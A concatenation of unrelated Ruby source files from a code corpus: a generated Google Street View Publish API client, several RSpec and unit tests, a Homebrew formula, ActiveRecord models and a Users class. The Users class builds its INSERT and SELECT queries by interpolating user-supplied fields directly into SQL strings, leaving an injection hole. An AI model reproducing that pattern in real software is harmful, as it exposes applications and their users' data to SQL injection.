command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the metadata of the specified
# Photo batch.
# Note that if
# BatchGetPhotos
# fails, either critical fields are missing or there is an authentication
# error. Even if
# BatchGetPhotos
# succeeds, individual photos in the batch may have failures.
# These failures are specified in each
# PhotoResponse.status
# in
# BatchGetPhotosResponse.results.
# See
# GetPhoto
# for specific failures that can occur per photo.
# @param [String] language_code
# The BCP-47 language code, such as "en-US" or "sr-Latn". For more
# information, see
# http://www.unicode.org/reports/tr35/#Unicode_locale_identifier.
# If language_code is unspecified, the user's language preference for Google
# services is used.
# @param [Array<String>, String] photo_ids
# Required. IDs of the Photos. For HTTP
# GET requests, the URL query parameter should be
# `photoIds=<id1>&photoIds=<id2>&...`.
# @param [String] view
# Required. Specifies if a download URL for the photo bytes should be returned
# in the
# Photo response.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::StreetviewpublishV1::BatchGetPhotosResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::StreetviewpublishV1::BatchGetPhotosResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def batch_photo_get(language_code: nil, photo_ids: nil, view: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1/photos:batchGet', options)
command.response_representation = Google::Apis::StreetviewpublishV1::BatchGetPhotosResponse::Representation
command.response_class = Google::Apis::StreetviewpublishV1::BatchGetPhotosResponse
command.query['languageCode'] = language_code unless language_code.nil?
command.query['photoIds'] = photo_ids unless photo_ids.nil?
command.query['view'] = view unless view.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Updates the metadata of Photos, such
# as pose, place association, connections, etc. Changing the pixels of photos
# is not supported.
# Note that if
# BatchUpdatePhotos
# fails, either critical fields are missing or there is an authentication
# error. Even if
# BatchUpdatePhotos
# succeeds, individual photos in the batch may have failures.
# These failures are specified in each
# PhotoResponse.status
# in
# BatchUpdatePhotosResponse.results.
# See
# UpdatePhoto
# for specific failures that can occur per photo.
# Only the fields specified in
# updateMask
# field are used. If `updateMask` is not present, the update applies to all
# fields.
# The number of
# UpdatePhotoRequest
# messages in a
# BatchUpdatePhotosRequest
# must not exceed 20.
# <aside class="note"><b>Note:</b> To update
# Pose.altitude,
# Pose.latLngPair has to be
# filled as well. Otherwise, the request will fail.</aside>
# @param [Google::Apis::StreetviewpublishV1::BatchUpdatePhotosRequest] batch_update_photos_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::StreetviewpublishV1::BatchUpdatePhotosResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::StreetviewpublishV1::BatchUpdatePhotosResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def batch_update_photos(batch_update_photos_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1/photos:batchUpdate', options)
command.request_representation = Google::Apis::StreetviewpublishV1::BatchUpdatePhotosRequest::Representation
command.request_object = batch_update_photos_request_object
command.response_representation = Google::Apis::StreetviewpublishV1::BatchUpdatePhotosResponse::Representation
command.response_class = Google::Apis::StreetviewpublishV1::BatchUpdatePhotosResponse
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Lists all the Photos that belong to
# the user.
# <aside class="note"><b>Note:</b> Recently created photos that are still
# being indexed are not returned in the response.</aside>
# @param [String] filter
# Required. The filter expression. For example: `placeId=
# ChIJj61dQgK6j4AR4GeTYWZsKWw`.
# The only filter supported at the moment is `placeId`.
# @param [String] language_code
# The BCP-47 language code, such as "en-US" or "sr-Latn". For more
# information, see
# http://www.unicode.org/reports/tr35/#Unicode_locale_identifier.
# If language_code is unspecified, the user's language preference for Google
# services is used.
# @param [Fixnum] page_size
# The maximum number of photos to return.
# `pageSize` must be non-negative. If `pageSize` is zero or is not provided,
# the default page size of 100 is used.
# The number of photos returned in the response may be less than `pageSize`
# if the number of photos that belong to the user is less than `pageSize`.
# @param [String] page_token
# The
# nextPageToken
# value returned from a previous
# ListPhotos
# request, if any.
# @param [String] view
# Required. Specifies if a download URL for the photos bytes should be returned
# in the
# Photos response.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::StreetviewpublishV1::ListPhotosResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::StreetviewpublishV1::ListPhotosResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def list_photos(filter: nil, language_code: nil, page_size: nil, page_token: nil, view: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1/photos', options)
command.response_representation = Google::Apis::StreetviewpublishV1::ListPhotosResponse::Representation
command.response_class = Google::Apis::StreetviewpublishV1::ListPhotosResponse
command.query['filter'] = filter unless filter.nil?
command.query['languageCode'] = language_code unless language_code.nil?
command.query['pageSize'] = page_size unless page_size.nil?
command.query['pageToken'] = page_token unless page_token.nil?
command.query['view'] = view unless view.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
protected
def apply_command_defaults(command)
command.query['key'] = key unless key.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
end
end
end
end
end
| 54.668561 | 152 | 0.663364 |
3381c4ead3cac911e360160b407a3cf86adbb5f0 | 1,959 | require "spec_helper"
describe YARD::Virtus::CodeObjects::AttributeWriter do
before :each do
# All YARD::CodeObjects::* objects are added to
# registry on creation which causes conflicts in
# this test.
YARD::Registry.clear
end
subject { described_class.new(:title, "String") }
it "has #attr_name" do
expect(subject.attr_name).to eq(:title)
end
it "has #type" do
expect(subject.type).to eq("String")
end
it "has #method_name" do
expect(subject.method_name).to eq(:"title=")
end
describe "#yard_method_object" do
let(:writer) { described_class.new(:title, "String") }
let(:namespace) { YARD::CodeObjects::ClassObject.new(nil, "TemporarySpecClass") }
subject { writer.yard_method_object(namespace) }
it { expect(subject).to be_instance_of(YARD::CodeObjects::MethodObject) }
it "is not explicit" do
expect(subject.is_explicit?).to be_false
end
it "has the writer name for attribute" do
expect(subject.name).to eq(:"title=")
end
it "has parameter" do
expect(subject.parameters).not_to be_empty
end
it "has type signature tag for parameter" do
param_tags = subject.tags(:param).select { |t| t.name == "value" }
expect(param_tags).not_to be_empty
end
context "when writer visibility is not specified" do
let(:writer) { described_class.new(:title, "String") }
it "does not have @private tag" do
expect(subject.tags(:private)).to be_empty
end
end
context "when writer is public" do
let(:writer) { described_class.new(:title, "String", false) }
it "does not have @private tag" do
expect(subject.tags(:private)).to be_empty
end
end
context "when writer is private" do
let(:writer) { described_class.new(:title, "String", true) }
it "has @private tag" do
expect(subject.tags(:private)).to have(1).item
end
end
end
end
| 25.776316 | 85 | 0.654926 |
4aa8407e5183efe770046a1b14f178a53ef56d6e | 412 | require 'reindeer'
describe 'Reindeer construction' do
it 'should call all build methods' do
class FifteenthOne < Reindeer
def build(args)
things << :super
end
end
class SixteenthOne < FifteenthOne
has :things, default: []
def build(args)
things << :neat
end
end
obj = SixteenthOne.new
expect(obj.things).to eq([:super, :neat])
end
end
| 19.619048 | 45 | 0.614078 |
798d54217191a1f2035184ae3c0578b2baa0925a | 767 | require_relative '../db/db_connector'
class Users
attr_accessor :id, :username, :email, :bio
def initialize(params)
@id = params[:id]
@username = params[:username]
@email = params[:email]
@bio = params[:bio]
end
# create new account
def register
client = create_db_client
return false unless valid?
client.query("INSERT INTO users VALUES (0, '#{@username}', '#{@email}', '#{@bio}')")
id_new = client.last_id
response = client.query("SELECT * FROM users WHERE id = #{id_new}")
data = response
id_new
end
# check if value is nil
def valid?
if @bio.nil? || @email.nil? || @username.nil? || [email protected](/\A[\w+\-.]+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i)
return false
end
true
end
end
| 21.305556 | 114 | 0.595828 |
21073fb42b781760cfcdbce43d48e4994486bd8a | 1,139 | class Sickle < Formula
desc "Windowed adaptive trimming for FASTQ files using quality"
homepage "https://github.com/najoshi/sickle"
url "https://github.com/najoshi/sickle/archive/v1.33.tar.gz"
sha256 "eab271d25dc799e2ce67c25626128f8f8ed65e3cd68e799479bba20964624734"
bottle do
cellar :any_skip_relocation
sha256 "dc6b4eea0f8da0b1611e12197157c9985c931567d466e3a47f89250a8180b879" => :mojave
sha256 "3aeaaa4393148876cc55cc9defbe82ae0fe0dabea18e418413b2aa8cff23dd0b" => :high_sierra
sha256 "844b063d1496d2a7c7f8a12b2239ae32766a538557d44f712c584a30b9775fae" => :sierra
sha256 "138b38a20aefc55ec4005ee4c4622ec332cbb13ff4ebc39ff45d91a2c12afde8" => :el_capitan
end
def install
system "make"
bin.install "sickle"
end
test do
(testpath/"test.fastq").write <<~EOS
@U00096.2:1-70
AGCTTTTCATTCTGACTGCAACGGGCAATATGTCTCTGTGTGGATTAAAAAAAGAGTGTCTGATAGCAGC
+
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII0000000000
EOS
cmd = "#{bin}/sickle se -f test.fastq -t sanger -o /dev/stdout"
assert_equal "GTGTC\n", shell_output(cmd).lines[1][-6..-1]
end
end
| 36.741935 | 93 | 0.774363 |
61a78572d069ac2be956f3782175bc1608a7894a | 4,008 | class PaymentType < ActiveRecord::Base
belongs_to :payment_type, :class_name => 'PaymentType', :foreign_key => :payment_type_id
belongs_to :atlanta_operator, :class_name => 'AtlantaOperator', :foreign_key => :atlanta_operator_id
belongs_to :atlanta_group, :class_name => 'AtlantaGroup', :foreign_key => :atlanta_group_id
belongs_to :currency, :class_name => 'Currency', :foreign_key => :currency_id
belongs_to :entity_validation, :class_name => 'EntityValidation', :foreign_key => :entity_validation_id
has_many :payments, :class_name => 'Payment', :foreign_key => :payment_type_id
has_many :payment_batches, :class_name => 'PaymentBatch', :foreign_key => :payment_type_id
has_many :payment_types, :class_name => 'PaymentType', :foreign_key => :payment_type_id
has_many :payment_type_variables, :class_name => 'PaymentTypeVariable', :foreign_key => :payment_type_id
has_many :customer_nodes, :through => payments
has_many :currencies, :through => payments
has_many :invoices, :through => payments
has_many :atlanta_operators, :through => payments
has_many :payment_batches, :through => payments
has_many :people, :through => payments
has_many :payments, :through => payments
has_many :currencies, :through => payment_batches
has_many :atlanta_operators, :through => payment_batches
has_many :payment_batches, :through => payment_batches
has_many :atlanta_groups, :through => payment_types
has_many :currencies, :through => payment_types
has_many :atlanta_operators, :through => payment_types
has_many :entity_validations, :through => payment_types
has_many :variable_defns, :through => payment_type_variables
validates_presence_of :payment_type_id
validates_numericality_of :payment_type_id, :allow_nil => false, :only_integer => true
validates_presence_of :last_modified
validates_presence_of :payment_type_name
validates_length_of :payment_type_name, :allow_nil => false, :maximum => 40
validates_presence_of :description
validates_length_of :description, :allow_nil => false, :maximum => 255
validates_presence_of :atlanta_operator_id
validates_numericality_of :atlanta_operator_id, :allow_nil => false, :only_integer => true
validates_presence_of :atlanta_group_id
validates_numericality_of :atlanta_group_id, :allow_nil => false, :only_integer => true
validates_numericality_of :currency_id, :allow_nil => true, :only_integer => true
validates_numericality_of :from_account_type_id, :allow_nil => true, :only_integer => true
validates_numericality_of :from_gl_code_id, :allow_nil => true, :only_integer => true
validates_numericality_of :from_account_id, :allow_nil => true, :only_integer => true
validates_numericality_of :to_account_type_id, :allow_nil => true, :only_integer => true
validates_numericality_of :to_gl_code_id, :allow_nil => true, :only_integer => true
validates_presence_of :payment_rejected_code
validates_numericality_of :payment_rejected_code, :allow_nil => false, :only_integer => true
validates_numericality_of :from_rejected_gl_code_id, :allow_nil => true, :only_integer => true
validates_numericality_of :to_rejected_gl_code_id, :allow_nil => true, :only_integer => true
validates_numericality_of :from_adjust_gl_code_id, :allow_nil => true, :only_integer => true
validates_numericality_of :to_adjust_gl_code_id, :allow_nil => true, :only_integer => true
validates_presence_of :receipt_format_expr
validates_length_of :receipt_format_expr, :allow_nil => false, :maximum => 255
validates_presence_of :payment_batch_format_expr
validates_length_of :payment_batch_format_expr, :allow_nil => false, :maximum => 255
validates_numericality_of :allocation_function_defn_id, :allow_nil => true, :only_integer => true
validates_numericality_of :adjust_function_defn_id, :allow_nil => true, :only_integer => true
validates_numericality_of :entity_validation_id, :allow_nil => true, :only_integer => true
validates_length_of :version_str, :allow_nil => true, :maximum => 255
end
| 69.103448 | 106 | 0.788174 |
18565034bb07c76009e49029b8b0b08d5a258980 | 982 | #!/usr/bin/env ruby
# Test Cases for the Billing core extension.
# ./lib/extension.rb
#
# Written by: jdw <4 July 2014>
#
# ********************************************
require "test/unit"
require_relative "../lib/lewt.rb"
class TestLewt < Test::Unit::TestCase
def test_initialize
lewt = LEWT::Lewt.new( { :target => "ACME" } )
assert_kind_of( LEWT::Lewt, lewt, "Failed to initialize Lewt object.")
end
def test__methods
lewt = LEWT::Lewt.new( { :target => "ACME" } )
assert_kind_of( Hash, lewt.get_client("ACME"), "get_client method failing, make sure ACME is in your clients file when running tests")
end
def test_matching
# valid LEWT command line option delimiter are ',' '+' ':'
assert_not_equal( nil, "bcd+abc".match(LEWT::Lewt::OPTION_DELIMITER_REGEX) )
assert_not_equal( nil, "bcd,abc".match(LEWT::Lewt::OPTION_DELIMITER_REGEX) )
assert_not_equal( nil, "bcd:abc".match(LEWT::Lewt::OPTION_DELIMITER_REGEX) )
end
end
| 25.842105 | 138 | 0.653768 |
e8b1264a6843ddbcaf8e37264ff9c20e925c75e3 | 9,876 | require 'octokit'
require 'singleton'
require 'bot_builder'
require 'ostruct'
class BotGithub
attr_accessor :client, :bot_builder, :github_repo, :scheme
def initialize(client, bot_builder, github_repo, scheme)
self.client = client
self.bot_builder = bot_builder
self.github_repo = github_repo
self.scheme = scheme
end
def bots_for_pull_request(bot_statuses, pr)
bot_statuses.map do |bot_short_name_without_version, bot|
if bot.pull_request == pr.number && bot.github_repo == pr.github_repo
bot
end
end.compact
end
def sync(name, bot_statuses, update_github)
puts "\nSync: #{name}\n-----------------------------------------------------------"
# TODO: Need to clean up update_github, possibly by separating sync into the bot maintenance and github
bots_processed = []
pull_requests.each do |pr|
# Check if a bot exists for this PR
bot = bot_statuses[pr.bot_short_name_without_version]
bots_processed << pr.bot_short_name
if (bot.nil?)
# Create a new bot
self.bot_builder.create_bot(pr.bot_short_name, pr.bot_long_name, pr.branch, github_repo)
if update_github
create_status_new_build(pr, bots_for_pull_request(bot_statuses, pr))
end
else
bots = bots_for_pull_request(bot_statuses, pr)
github_state_cur = latest_github_state(pr).state # :unknown :pending :success :error :failure
github_state_new = convert_all_bot_status_to_github_state(bots)
if (github_state_new == :pending && github_state_cur != github_state_new)
# User triggered a new build by clicking Integrate on the Xcode server interface
if update_github
create_status(pr, github_state_new, bots)
end
elsif (github_state_cur == :unknown || user_requested_retest(pr, bot))
# Unknown state occurs when there's a new commit so trigger a new build
bot_builder.start_bot(bot.guid)
if update_github
create_status_new_build(pr, bots)
end
elsif (github_state_new != :unknown && github_state_cur != github_state_new)
if update_github
# Build has passed or failed so update status and comment on the issue
create_comment_for_bot_status(pr, bots)
create_status(pr, github_state_new, bots) #convert_bot_status_to_github_description(bot), bot.status_url)
end
else
puts "PR #{pr.number} (#{github_state_cur}) is up to date for bot #{bot.short_name}"
end
end
end
# Delete bots that no longer have open pull requests
bots_unprocessed = bot_statuses.keys - bots_processed
bots_unprocessed.each do |bot_short_name|
bot = bot_statuses[bot_short_name]
# TODO: BotBuilder.instance.remove_outdated_bots(self.repo)
self.bot_builder.delete_bot(bot.guid) unless !is_managed_bot(bot)
end
end
private
def convert_bot_status_to_github_description(bot)
bot_run_status = bot.latest_run_status # :unknown :running :completed
bot_run_sub_status = bot.latest_run_sub_status # :unknown :build-failed :build-errors :test-failures :warnings :analysis-issues :succeeded
github_description = bot_run_status == :running ? "Build Triggered." : ""
if (bot_run_status == :completed || bot_run_status == :failed)
github_description = bot_run_sub_status.to_s.split('-').map(&:capitalize).join(' ') + "."
end
github_description
end
def convert_all_bot_status_to_github_description(bots)
description = bots.map do |bot|
case convert_bot_status_to_github_state(bot)
when :error
bot.scheme + " Error"
when :failure
bot.scheme + " Failed (" + bot.latest_run_sub_status.to_s + ")"
end
end.compact
description.join(", ")
end
def convert_all_bot_status_to_url(bots)
bots.each do |bot|
case convert_bot_status_to_github_state(bot)
when :error
return bot.status_url
when :failure
return bot.status_url
end
end
return nil
end
def convert_all_bot_status_to_github_state(bots)
error = false
failure = false
success = false
pending = false
bots.each do |bot|
case convert_bot_status_to_github_state(bot)
when :error
error = true
when :failure
failure = true
when :success
success = true
when :pending
pending = true
when :queued
pending = true
end
end
if pending
return :pending
elsif error
return :error
elsif failure
return :failure
elsif success
return :success
else
return :error
end
end
def convert_bot_status_to_github_state(bot)
bot_run_status = bot.latest_run_status # :unknown :running :completed
bot_run_sub_status = bot.latest_run_sub_status # :unknown :build-failed :build-errors :test-failures :warnings :analysis-issues :succeeded
github_state = case bot_run_status
when :"running", :"queued"
:pending
else
:unknown
end
if (bot_run_status == :completed || bot_run_status == :failed)
github_state = case bot_run_sub_status
when :"test-failures", :"warnings", :"analysis-issues"
:failure
when :"succeeded"
:success
else
:error
end
end
github_state
end
def create_comment_for_bot_status(pr, bots)
messages = {}
messages[:error] = Array.new
messages[:failure] = Array.new
messages[:success] = Array.new
bots.each do |bot|
github_state = convert_bot_status_to_github_state(bot)
if github_state != :unknown && github_state != :pending
messages[github_state].push(bot.scheme + " Build " + convert_bot_status_to_github_state(bot).to_s.capitalize + ": " + convert_bot_status_to_github_description(bot))
messages[github_state].push("#{bot.status_url}\n")
end
end
message = messages.values.join("\n").strip
unless message.empty?
self.client.add_comment(self.github_repo, pr.number, message)
puts "PR #{pr.number} added comment:\n#{message}"
end
end
def create_status_new_build(pr, bots)
create_status(pr, :pending, bots)
end
def create_status(pr, github_state, bots)
description = convert_all_bot_status_to_github_description(bots)
target_url = convert_all_bot_status_to_url(bots)
options = {}
if (!description.nil?)
options['description'] = description
end
if (!target_url.nil?)
options['target_url'] = target_url
end
self.client.create_status(self.github_repo, pr.sha, github_state.to_s, options)
puts "PR #{pr.number} status updated to \"#{github_state}\" with description \"#{description}\""
end
def latest_github_state(pr)
statuses = self.client.statuses(self.github_repo, pr.sha)
status = OpenStruct.new
if (statuses.count == 0)
status.state = :unknown
status.updated_at = Time.now
else
status.state = statuses[0].state.to_sym
status.updated_at = statuses[0].updated_at
end
status
end
def pull_requests
responses = self.client.pull_requests(self.github_repo)
responses.collect do |response|
pull_request = OpenStruct.new
pull_request.sha = response.head.sha
pull_request.branch = response.head.ref
pull_request.title = response.title
pull_request.github_repo = github_repo
pull_request.state = response.state
pull_request.number = response.number
pull_request.updated_at = response.updated_at
pull_request.bot_short_name = bot_short_name(pull_request)
pull_request.bot_short_name_without_version = bot_short_name_without_version(pull_request)
pull_request.bot_long_name = bot_long_name(pull_request)
pull_request
end
end
def user_requested_retest(pr, bot)
should_retest = false
# Check for a user retest request comment
comments = self.client.issue_comments(self.github_repo, pr.number)
latest_retest_time = Time.at(0)
found_retest_comment = false
comments.each do |comment|
if (comment.body =~ /retest/i)
latest_retest_time = comment.updated_at
found_retest_comment = true
end
end
return should_retest unless found_retest_comment
# Get the latest status time
latest_status_time = latest_github_state(pr)
if (latest_status_time.nil? || latest_status_time.updated_at.nil?)
latest_status_time = Time.at(0)
end
if (latest_retest_time > latest_status_time.updated_at)
should_retest = true
puts "PR #{pr.number} user requested a retest"
end
should_retest
end
def bot_long_name(pr)
repo = self.github_repo
if match = self.github_repo.match(/^([^ \/]+)\/([^ ]+)$/)
repo = match.captures[1]
end
"#{repo} ##{pr.number} #{self.scheme} #{pr.branch} #{self.github_repo}"
end
def bot_short_name(pr)
short_name = "#{pr.number}-#{pr.branch}".gsub(/[^[:alnum:]]/, '_') + bot_short_name_suffix
short_name
end
# For duplicate bot names xcode server appends a version
# bot_short_name_v, bot_short_name_v1, bot_short_name_v2. This method converts bot_short_name_v2 to bot_short_name_v
def bot_short_name_without_version(pr)
bot_short_name(pr).sub(/_v\d*$/, '_v')
end
def is_managed_bot(bot)
# Check the suffix of the bot to see if it matches the bot_short_name_suffix
bot.short_name =~ /#{bot_short_name_suffix}\d*$/
end
def bot_short_name_suffix
('_' + self.github_repo.downcase + '_' + self.scheme.downcase + '_v').gsub(/[^[:alnum:]]/, '_')
end
end
| 33.364865 | 172 | 0.667072 |
28e67550273e1048388e31868b14ad17c7d26986 | 9,586 | # Copyright (c) 2016, 2021, Oracle and/or its affiliates. All rights reserved.
# This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license.
require 'date'
# rubocop:disable Lint/UnneededCopDisableDirective, Metrics/LineLength
module OCI
# The model for the parameters needed to update a private application.
class ServiceCatalog::Models::UpdatePrivateApplicationDetails
# The name of the private application.
# @return [String]
attr_accessor :display_name
# A short description of the private application.
# @return [String]
attr_accessor :short_description
# A long description of the private application.
# @return [String]
attr_accessor :long_description
# Base64-encoded logo to use as the private application icon.
# Template icon file requirements: PNG format, 50 KB maximum, 130 x 130 pixels.
#
# @return [String]
attr_accessor :logo_file_base64_encoded
# Defined tags for this resource. Each key is predefined and scoped to a namespace.
# Example: `{\"foo-namespace\": {\"bar-key\": \"value\"}}`
#
# @return [Hash<String, Hash<String, Object>>]
attr_accessor :defined_tags
# Simple key-value pair that is applied without any predefined name, type or scope. Exists for cross-compatibility only.
# Example: `{\"bar-key\": \"value\"}`
#
# @return [Hash<String, String>]
attr_accessor :freeform_tags
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
# rubocop:disable Style/SymbolLiteral
'display_name': :'displayName',
'short_description': :'shortDescription',
'long_description': :'longDescription',
'logo_file_base64_encoded': :'logoFileBase64Encoded',
'defined_tags': :'definedTags',
'freeform_tags': :'freeformTags'
# rubocop:enable Style/SymbolLiteral
}
end
# Attribute type mapping.
def self.swagger_types
{
# rubocop:disable Style/SymbolLiteral
'display_name': :'String',
'short_description': :'String',
'long_description': :'String',
'logo_file_base64_encoded': :'String',
'defined_tags': :'Hash<String, Hash<String, Object>>',
'freeform_tags': :'Hash<String, String>'
# rubocop:enable Style/SymbolLiteral
}
end
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:disable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
# @option attributes [String] :display_name The value to assign to the {#display_name} property
# @option attributes [String] :short_description The value to assign to the {#short_description} property
# @option attributes [String] :long_description The value to assign to the {#long_description} property
# @option attributes [String] :logo_file_base64_encoded The value to assign to the {#logo_file_base64_encoded} property
# @option attributes [Hash<String, Hash<String, Object>>] :defined_tags The value to assign to the {#defined_tags} property
# @option attributes [Hash<String, String>] :freeform_tags The value to assign to the {#freeform_tags} property
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
self.display_name = attributes[:'displayName'] if attributes[:'displayName']
raise 'You cannot provide both :displayName and :display_name' if attributes.key?(:'displayName') && attributes.key?(:'display_name')
self.display_name = attributes[:'display_name'] if attributes[:'display_name']
self.short_description = attributes[:'shortDescription'] if attributes[:'shortDescription']
raise 'You cannot provide both :shortDescription and :short_description' if attributes.key?(:'shortDescription') && attributes.key?(:'short_description')
self.short_description = attributes[:'short_description'] if attributes[:'short_description']
self.long_description = attributes[:'longDescription'] if attributes[:'longDescription']
raise 'You cannot provide both :longDescription and :long_description' if attributes.key?(:'longDescription') && attributes.key?(:'long_description')
self.long_description = attributes[:'long_description'] if attributes[:'long_description']
self.logo_file_base64_encoded = attributes[:'logoFileBase64Encoded'] if attributes[:'logoFileBase64Encoded']
raise 'You cannot provide both :logoFileBase64Encoded and :logo_file_base64_encoded' if attributes.key?(:'logoFileBase64Encoded') && attributes.key?(:'logo_file_base64_encoded')
self.logo_file_base64_encoded = attributes[:'logo_file_base64_encoded'] if attributes[:'logo_file_base64_encoded']
self.defined_tags = attributes[:'definedTags'] if attributes[:'definedTags']
raise 'You cannot provide both :definedTags and :defined_tags' if attributes.key?(:'definedTags') && attributes.key?(:'defined_tags')
self.defined_tags = attributes[:'defined_tags'] if attributes[:'defined_tags']
self.freeform_tags = attributes[:'freeformTags'] if attributes[:'freeformTags']
raise 'You cannot provide both :freeformTags and :freeform_tags' if attributes.key?(:'freeformTags') && attributes.key?(:'freeform_tags')
self.freeform_tags = attributes[:'freeform_tags'] if attributes[:'freeform_tags']
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity
# rubocop:enable Metrics/MethodLength, Layout/EmptyLines, Style/SymbolLiteral
# rubocop:disable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# Checks equality by comparing each attribute.
# @param [Object] other the other object to be compared
def ==(other)
return true if equal?(other)
self.class == other.class &&
display_name == other.display_name &&
short_description == other.short_description &&
long_description == other.long_description &&
logo_file_base64_encoded == other.logo_file_base64_encoded &&
defined_tags == other.defined_tags &&
freeform_tags == other.freeform_tags
end
# rubocop:enable Metrics/CyclomaticComplexity, Metrics/AbcSize, Metrics/PerceivedComplexity, Layout/EmptyLines
# @see the `==` method
# @param [Object] other the other object to be compared
def eql?(other)
self == other
end
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[display_name, short_description, long_description, logo_file_base64_encoded, defined_tags, freeform_tags].hash
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# rubocop:disable Metrics/AbcSize, Layout/EmptyLines
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /^Array<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
public_method("#{key}=").call(
attributes[self.class.attribute_map[key]]
.map { |v| OCI::Internal::Util.convert_to_type(Regexp.last_match(1), v) }
)
end
elsif !attributes[self.class.attribute_map[key]].nil?
public_method("#{key}=").call(
OCI::Internal::Util.convert_to_type(type, attributes[self.class.attribute_map[key]])
)
end
# or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# rubocop:enable Metrics/AbcSize, Layout/EmptyLines
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = public_method(attr).call
next if value.nil? && !instance_variable_defined?("@#{attr}")
hash[param] = _to_hash(value)
end
hash
end
private
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
# rubocop:enable Lint/UnneededCopDisableDirective, Metrics/LineLength
| 41.497835 | 245 | 0.695911 |
acc1496532c1ff83a6eb9a32a16835301f606d66 | 458 | # frozen_string_literal: true
module Faker
module JapaneseMedia
class SwordArtOnline < Base
class << self
def real_name
fetch('sword_art_online.real_name')
end
def game_name
fetch('sword_art_online.game_name')
end
def location
fetch('sword_art_online.location')
end
def item
fetch('sword_art_online.item')
end
end
end
end
end
| 17.615385 | 45 | 0.582969 |
1decce59d9cc76ddc6925e0235d8236811a1c89b | 78 | # frozen_string_literal: true
module Timezone
VERSION = '1.3.6'.freeze
end
| 13 | 29 | 0.74359 |
bb3301ff7056e1e4cd03b10b4e18c4d0b907260a | 43 | module Cbc
VERSION = "0.3.18".freeze
end
| 10.75 | 27 | 0.674419 |
bf4e83c395b43159eb5c30d33fdd12dd33843a73 | 174 | # frozen_string_literal: true
$LOAD_PATH.unshift File.expand_path('../../lib', __FILE__)
require 'simplecov'
SimpleCov.start
require 'pluck_all'
require 'minitest/autorun'
| 19.333333 | 58 | 0.775862 |
